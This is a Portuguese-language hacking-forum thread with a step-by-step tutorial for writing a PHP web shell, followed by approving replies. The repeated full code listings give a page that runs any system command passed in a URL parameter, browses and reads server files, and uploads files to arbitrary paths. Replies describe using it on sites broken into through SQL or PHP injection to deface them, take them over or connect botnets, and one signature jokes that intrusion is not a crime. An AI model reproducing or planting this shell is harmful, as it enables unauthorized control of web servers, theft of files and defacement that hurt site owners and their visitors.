Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Montando minha própria Shell [Tutorial bem basico]

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Montando minha própria Shell [Tutorial bem basico]

    Bom, não é de hoje que muitos usuários, e quando eu digo muitos, são muitos mesmo.
    Usam shells encontradas pela internet.

    É muito comum isso, por exemplo eu mesmo tenho uma shell minha que está disponível para download aqui no Guia do Hacker.

    Porém, como sempre meus posts tem intuito de dispertar o interesse das pessoas para elas aprenderem a fazer as coisas, então porque não fazer sua própria shell?
    "Oras mas isso iria demorar muito, é muito mais fácil pegar as coisas prontas!"

    Bom se você pensa dessa forma, devo alertar que talvez você não vá ter muito futuro com Hacking, Phreaking, Cracking e entre outras coisas.

    Bom, para seguir esse tutorial será necessário conhecimentos básicos em PHP e HTML.
    E um webserver para testar o arquivo php, seja localmente ou em algum webserver.
    Irei tentar fazer tudo comentando o código php para ficar mais simples de fazermos ajustes futuramente.
    Então lembre:
    // Texto = Comentario no PHP
    <!-- Texto --> = Comentario no HTML

    Esse tutorial será separado em varias partes, durante os dias eu vou ir fazendo novos posts ensinando cada vez uma nova coisa.
    Porém esse será a base de tudo, então será como se fossem varias aulas, ensinando fazer novas funções e afins...
    ----------------------------------

    Como vamos começar então a montar nossa própria shell?
    Com o obvio, nossa shell será uma pagina de web, então vamos montar o básico de uma pagina de web.
    Por favor, abram seus maravilhosos bloco de notas, notepad++, dreamweaver, ou sei lá que programa usam para fazer sites e vamos escrever o basico de um código de site.

    Código:
    <html>
    <head>
    <title></title>
    </head>
    <body>
    Aqui ficará o conteúdo.
    </body>
    </html>
    Salve como sua_shell.php na pasta do seu servidor para podermos testar.

    ----------------------------------
    Bonito, ai está, temos uma pagina em branco escrito "Aqui ficará o conteúdo", bacana né? haha brincadeira vamos lá...
    Agora vamos fazer alguns ajustes nisso definindo algumas strings em php para facilitar nosso serviço.
    Vamos deixar o nosso código assim agora:

    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    </head>
    <body>
    Aqui ficará o conteúdo.
    </body>
    </html>
    ----------------------------------
    Bom pegamos um conceito bem basico de como podemos usar strings para facilitar nosso serviço definindo esse titulo.
    Imagine que você fez sua shell, e então depois atualiza ela e resolve trocar o nome.
    Mas o problema é que você escreveu em trezentos lugares diferentes o nome dela, espalhado por todo o código fonte.
    Para atualizar seria realmente muito chato, então o que pode ser feito?

    Simples, as strings vão nos ajudar.
    Enquanto você for fazer a sua shell, jamais escreve coisas como:
    Código:
    <b>Bem vindo a Minha Shell</b>
    Você deve escrever:
    Código:
    <b>Bem vindo a <?php echo $nshell; ?></b>
    Porque $nshell é igual ao nome da sua shell, então se você atualizar isso algum dia, tudo que vai precisar fazer é trocar a string, e automaticamente será trocado em todo o resto do site.
    Faça coisas que você vai lembrar, facilita muito, por exemplo "nshell" eu coloquei isso pois pensei "n = nome", logo, nome shell...

    ----------------------------------
    Bom seguindo esse basico eu fiz uma tabelinha simples para começarmos a trabalhar o Layout de nossa shell, fiz com que essa tabela ocupasse 100% da tela, e não tivesse bordas. Queremos essa tabela somente para nos auxiliar no layout.
    Deixei definido no body uma cor de fundo também com um cinza bem escuro, a cor geral de texto será branco.
    Resultei o seguinte código:

    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    </head>
    <body bgcolor="#111111" text="#FFFFFF">
    <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="4">
      <tr>
        <td height="25" border="1" bordercolor="#FFFFFF" colspan="2"><center>Bem vindo a <?php echo $nshell; ?></center></td>
      </tr>
      <tr>
    	<td height="25" width="30%"><!-- Aqui vamos fazer nosso menu --></td>
    	<td height="25" width="70%"><!-- Aqui vamos fazer nosso CMD --></td>
      <tr>
        <td border="1" colspan="2"><!-- Aqui vai ficar nosso conteúdo --></td>
      </tr>
    </table>
    </body>
    </html>
    ----------------------------------
    Já aproveitando essa tabela, vamos passar para a primeira função?
    Vamos implementar um Shell Command na nossa shell.
    Vocês devem ter notado que nessa tabela eu deixei uma região para montarmos nosso menu.
    Uma região pra conteúdo em geral.
    E uma região para a nossa primeira função o Shell Command.

    Para isso vamos usar o seguinte código php:
    Código:
    <form method="GET" name="shellcmd" action="">
    <input type="text" name="cmd">
    <input type="submit" value="Executar">
    </form>
    <?
    if($_GET['cmd']) {
      system($_GET['cmd']);
      }
    ?>
    É uma função simples, você vai digitar o comando no formulário identificado com o nome "cmd" (input type="text" name="cmd")
    Quando clicar em Executar ele vai fazer o submit do formulario.
    O Código PHP vai pegar o que foi digitado no "cmd" e vai executar a função system com aquele comando, logo , aquele comando vai ser executado no sistema.

    Uma explicação sobre a função system pode ser encontrada nesse link:
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

    Então vamos colocar isso em nosso código não é mesmo? Vamos substuir onde indicamos como CMD pelo script funcional agora.
    Nosso código ficará agora dessa forma:

    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    </head>
    <body bgcolor="#111111" text="#FFFFFF">
    <table width="100%" height="100%" border="1" cellspacing="0" cellpadding="4">
      <tr>
        <td height="25" border="1" bordercolor="#FFFFFF" colspan="2"><center>Bem vindo a <?php echo $nshell; ?></center></td>
      </tr>
      <tr>
    	<td height="25" width="30%"><!-- Aqui vamos fazer nosso menu --></td>
    	<td height="25" width="70%"><form method="GET" name="shellcmd" action="">
    <input type="text" name="cmd" value="-- Shell Command --">
    <input type="submit" value="Executar">
    </form>
    <?
    if($_GET['cmd']) {
      system($_GET['cmd']);
      }
    ?></td>
      <tr>
        <td border="1" colspan="2"><!-- Aqui vai ficar nosso conteúdo --></td>
      </tr>
    </table>
    </body>
    </html>
    Salve seu conteúdo e faça o teste! (:
    Vá até o seu maravilhoso trabalho, digite notepad.exe por exemplo e pressione em Executar.
    Depois aperte ctrl+alt+delete, vá até a aba processos e veja :O O notepad que você digitou está rodando escondido nos processos. =P

    Bom, alguns ajustezinhos basicos para sua shell não ficar feia seriam bom não é mesmo?
    Com meus ajustes de aparência, o código ficou dessa forma:
    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    <style>
    .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; }
    </style>
    <script type="text/javascript">
    function clickcmd(){
    
    	var buff = document.getElementById('cmd');
    
    	if(buff.value == '- shell command -') buff.value = '';
    
    }
    
    </script>
    </head>
    <body bgcolor="#111111" text="#FFFFFF">
    <table width="100%" height="100%" border="1" bordercolor="#333333" cellspacing="0" cellpadding="4">
      <tr>
        <td height="25" colspan="2"><h1><center>Bem vindo a <?php echo $nshell; ?></center></h1></td>
      </tr>
      <tr>
    	<td height="25" width="50%"><!-- Aqui vamos fazer nosso menu --></td>
    	<td height="25" width="50%"><div align="right"><form method="GET" name="shellcmd" action="">
    <input type="text" id="cmd" onclick="clickcmd();" class="inputz" name="cmd" style="width:90%;" value="- shell command -" />
    <input type="submit" class="inputz" value="Executar">
    </form>
    <?
    if($_GET['cmd']) {
      system($_GET['cmd']);
      }
    ?></div></td>
      <tr>
        <td border="1" colspan="2"><!-- Aqui vai ficar nosso conteúdo --></td>
      </tr>
    </table>
    </body>
    </html>
    ----------------------------------

    Agora vamos a proxima função.
    Vamos exibir o diretório home nessa função e para isso usaremos o seguinte script:
    Código:
    <?
    
    if($_GET['dir']) { 
    	$aarquivo=$_GET['dir']; 
    	} else {
    	$aarquivo = getcwd();
    	} 
    
    if($handle = @opendir($aarquivo)) {
      while($narquivo = readdir($handle)) {
        echo "* <a href=?dir=" . $aarquivo . "/" . $narquivo . ">" . $narquivo . "</a><br>";
        }
      closedir($handle);
      } else {
      echo "Você acessou: " . $aarquivo . "<br><hr><pre>";
      $fp = fopen($aarquivo, "r");
      $buffer = fread($fp, filesize($aarquivo));
      echo $buffer;
      fclose($fp);
      }
    
    ?>
    Adicione ele onde esta marcado como conteúdo principal.
    E então nosso código ficará assim:
    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    <style>
    .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; }
    </style>
    <script type="text/javascript">
    function clickcmd(){
    
    	var buff = document.getElementById('cmd');
    
    	if(buff.value == '- shell command -') buff.value = '';
    
    }
    
    </script>
    </head>
    <body bgcolor="#111111" text="#FFFFFF">
    <table width="100%" height="100%" border="1" bordercolor="#333333" cellspacing="0" cellpadding="4">
      <tr>
        <td height="25" colspan="2"><h1><center>Bem vindo a <?php echo $nshell; ?></center></h1></td>
      </tr>
      <tr>
    	<td height="25" width="50%"><!-- Aqui vamos fazer nosso menu --></td>
    	<td height="25" width="50%"><div align="right"><form method="GET" name="shellcmd" action="">
    <input type="text" id="cmd" onclick="clickcmd();" class="inputz" name="cmd" style="width:90%;" value="- shell command -" />
    <input type="submit" class="inputz" value="Executar">
    </form>
    <?
    if($_GET['cmd']) {
      system($_GET['cmd']);
      }
    ?></div></td>
      <tr>
        <td border="1" colspan="2" valign="top"><font size="1"><?
    
    if($_GET['dir']) {
    	$aarquivo=$_GET['dir']; 
    	} else {
    	$aarquivo = getcwd();
    	} 
    
    if($handle = @opendir($aarquivo)) {
      while($narquivo = readdir($handle)) {
        echo "* <a href=?dir=" . $aarquivo . "/" . $narquivo . ">" . $narquivo . "</a><br>";
        }
      closedir($handle);
      } else {
      echo "Você acessou: " . $aarquivo . "<br><hr><pre>";
      $fp = fopen($aarquivo, "r");
      $buffer = fread($fp, filesize($aarquivo));
      echo $buffer;
      fclose($fp);
      }
    
    ?></td>
      </tr>
    </table>
    </body>
    </html>
    Eu adicionei um valign para o texto ser alinhado ao topo da celula do conteúdo.
    E um font size para deixar a fonte menor.
    Nada de muito segredo nessa função, então já vamos passar para a proxima...

    ----------------------------------
    Nessa proxima função, vamos fazer o upload.
    Usaremos o seguinte Script.

    Código:
    <form enctype="multipart/form-data" action="" method="post">
    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
    <p>Arquivo Local: <input name="userfile" type="file">
    <p>Arquivo Remoto: <input name="remotefile" type="text">
    <input type="submit" value="Ok!">
    </form><BR>
    
    <?
    
    if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
       copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);
       echo "Arquivo enviado: " . $HTTP_POST_FILES['userfile']['name'];
    } else {
       echo "Nenhum arquivo foi enviado.";
    }
    
    ?>
    Para implantar esse código, vamos fazer o seguinte, vamos criar uma nova linha na tabela abaixo da linha onde fica o conteúdo principal.
    O Código será mais o menos assim:
    Código:
      <tr>
    	<td height="30" valign="top" colspan="2"><!-- Conteudo do Uploader --></td>
      </tr>
    Após feito isso, adicionamos o código do script acima nessa linha.
    Adicionaremos também ao formulario o estilo que eu postei lá em cima usando o class="inputz".
    Coloque também um tamanho de fonte bom, eu usei font size="1" na minha nos textos do script de upload.
    No body do site, troquei as cores de link também.

    O código final da shell ficou assim:
    Código:
    <?php
    $nshell = 'Minha Shell'; // String que define o nome de sua shell
    $vshell = '1.0'; // String que define a versão de sua shell
    $stitulo = $nshell." - Versão ".$vshell; // String que junta o Nome da Shell e a Versão para formar o titulo da pagina.
    ?>
    
    <html>
    <head>
    <title><?php echo $stitulo; ?></title>
    <style>
    .inputz{ background:#111111; border:0; padding:2px; border-bottom:1px solid #393939; font-size:11px; color:#ffffff; }
    </style>
    <script type="text/javascript">
    function clickcmd(){
    
    	var buff = document.getElementById('cmd');
    
    	if(buff.value == '- shell command -') buff.value = '';
    
    }
    
    </script>
    </head>
    <body bgcolor="#111111" text="#FFFFFF" alink="#999999" vlink="#999999" link="#999999">
    <table width="100%" height="100%" border="1" bordercolor="#333333" cellspacing="0" cellpadding="4">
      <tr>
        <td height="25" colspan="2"><h1><center>Bem vindo a <?php echo $nshell; ?></center></h1></td>
      </tr>
      <tr>
    	<td height="25" width="50%"><!-- Aqui vamos fazer nosso menu --></td>
    	<td height="25" width="50%"><div align="right"><form method="GET" name="shellcmd" action="">
    <input type="text" id="cmd" onclick="clickcmd();" class="inputz" name="cmd" style="width:90%;" value="- shell command -" />
    <input type="submit" class="inputz" value="Executar">
    </form>
    <?
    if($_GET['cmd']) {
      system($_GET['cmd']);
      }
    ?></div></td>
      <tr>
        <td border="1" colspan="2" valign="top"><font size="1"><?
    
    if($_GET['dir']) {
    	$aarquivo=$_GET['dir']; 
    	} else {
    	$aarquivo = getcwd();
    	} 
    
    if($handle = @opendir($aarquivo)) {
      while($narquivo = readdir($handle)) {
        echo "* <a href=?dir=" . $aarquivo . "/" . $narquivo . ">" . $narquivo . "</a><br>";
        }
      closedir($handle);
      } else {
      echo "Você acessou: " . $aarquivo . "<br><hr><pre>";
      $fp = fopen($aarquivo, "r");
      $buffer = fread($fp, filesize($aarquivo));
      echo $buffer;
      fclose($fp);
      }
    
    ?></td>
      </tr>
      <tr>
    	<td height="30" valign="top" colspan="2"><form enctype="multipart/form-data" action="" method="post">
    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
    <p><font size="1">Arquivo Local: <input class="inputz" name="userfile" type="file">
    <p><font size="1">Arquivo Remoto: <input class="inputz" name="remotefile" type="text">
    <input type="submit" class="inputz" value="Ok!">
    </form>
    
    <?
    
    if(is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) {
       copy($HTTP_POST_FILES['userfile']['tmp_name'], $_POST['remotefile']);
       echo "<font size='1'>Arquivo enviado: " . $HTTP_POST_FILES['userfile']['name'];
    } else {
       echo "<font size='1'>Nenhum arquivo foi enviado.";
    }
    
    ?></td>
      </tr>
    </table>
    </body>
    </html>
    ----------------------------------
    Bom ai está o básico, bem básico...
    Pretendo fazer desse tutorial algo continuo, então no próximo tutorial sobre como montar sua própria shell irei ensinar como montar os Menus, Visualizar Processos em execução, exibir a resposta do CMD, Informações sobre o SO e Apache, Detecção de SAFE Mode, entre outras coisas...

    As próximas partes desse tutorial serão mais interessantes, afinal aqui já vimos o básico, nos próximos serão mais funções que irei passar.
    Espero que gostem, e até breve ^^

    Obs: o próximo tutorial será exclusivamente para alunos do Curso de Deface do Guia do Hacker
    sigpic
    Similar Threads

  • Font Size
    #2
    Pensei em tornar priv8... mas conversando com o symbiont, ele me disse que um melhor será feito apenas para os alunos do curso de deface, então, se vcs acharam esse tutorial excelente, imagine oque ele vai fazer para o curso.

    Muito obrigado symbiont, excelente tutorial.




    "Antes de conseguir você tem que acreditar."

    Comment


    • Font Size
      #3
      cara não vo falar que é facil não, é bem dificil mas não é impossivel , vo estudar bastante e vo tentar fazer uma propria..



      agora uma duvida bem noob, essa shell serve pra que? esse negocio de faze upload de arquivo, não entendi muito bem a finalidade, pode ser usado de alguma forma para defacer?

      fico no aguardo de respostas!!

      abraços e muito obrigado
      "Você pode ter a fé que quiser em espíritos, em vida após a morte, no paraíso e no inferno, mas se tratando desse mundo, não seja idiota. Porque você pode me dizer que deposita sua fé em Deus para passar pelo dia, mas quando chega a hora de atravessar a rua, eu sei que você olha para os dois lados"

      Comment


      • Font Size
        #4
        @Edyzao,

        O deface é feito através de MySQL,Php injection entre outros...

        E a partir disso, você precisa de uma shell de upload para poder ownar o site ou até mesmo para conectar um botnet, são varias as possibilidades.
        Mais no caso da C99, R57, entre outras shells, ou seja, na maioria das veses você só vai conseguir fazer deface com uma shell de upload

        Por exemplo, você invadiu um site vulneravel, e quer colocar na página inicial que você ownou o site, você vê as permissões -drwxxrw uns négocio assim, ai você edita e poem lá que você ownou, coisas do tipo... Não sou bom pra explicar, mais na teoria é algo assim (:

        Qualquer duvida posta ai o/

        Att, Xura Aratorny.
        ---------------------------------------------------------

        Comment


        • Font Size
          #5
          Quanto ao topico, perdão o double post, não vi a opção de editar,

          Symbiont, você é um gênio, to virando seu fan , hmm (:

          Vo começar a fazer a shell aqui, não parece tão complicado, já tenho um conhecimento aguçado em PhP e Html, obrigado e continue assim (y)'
          ---------------------------------------------------------

          Comment


          • Font Size
            #6
            Muito bom. Obrigado por compartilhar.
            Caso o leitor precise de uma ajudinha a mais, tenha Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... um curso gratuito de PHP e Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... um tutorial como esse, porém ainda mais básico, para iniciantes.
            Este material pode ser compartilhado, desde que os devidos créditos sejam dados.



            Notify-list · Twitter · Blog

            Nova lei: Invadir computadores protegidos é crime.
            Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

            Comment


            • Font Size
              #7
              muito bom esse post. obrigadão!

              estudante de sistemas de informação
              sigpic
              Estudante de sistemas de informação


              "SER hacker é TER uma forma de pensar característica.
              Quem pensa como hacker, age como hacker."
              Prof. Marco Aurélio Thompson.

              Comment

              X
              Working...
              X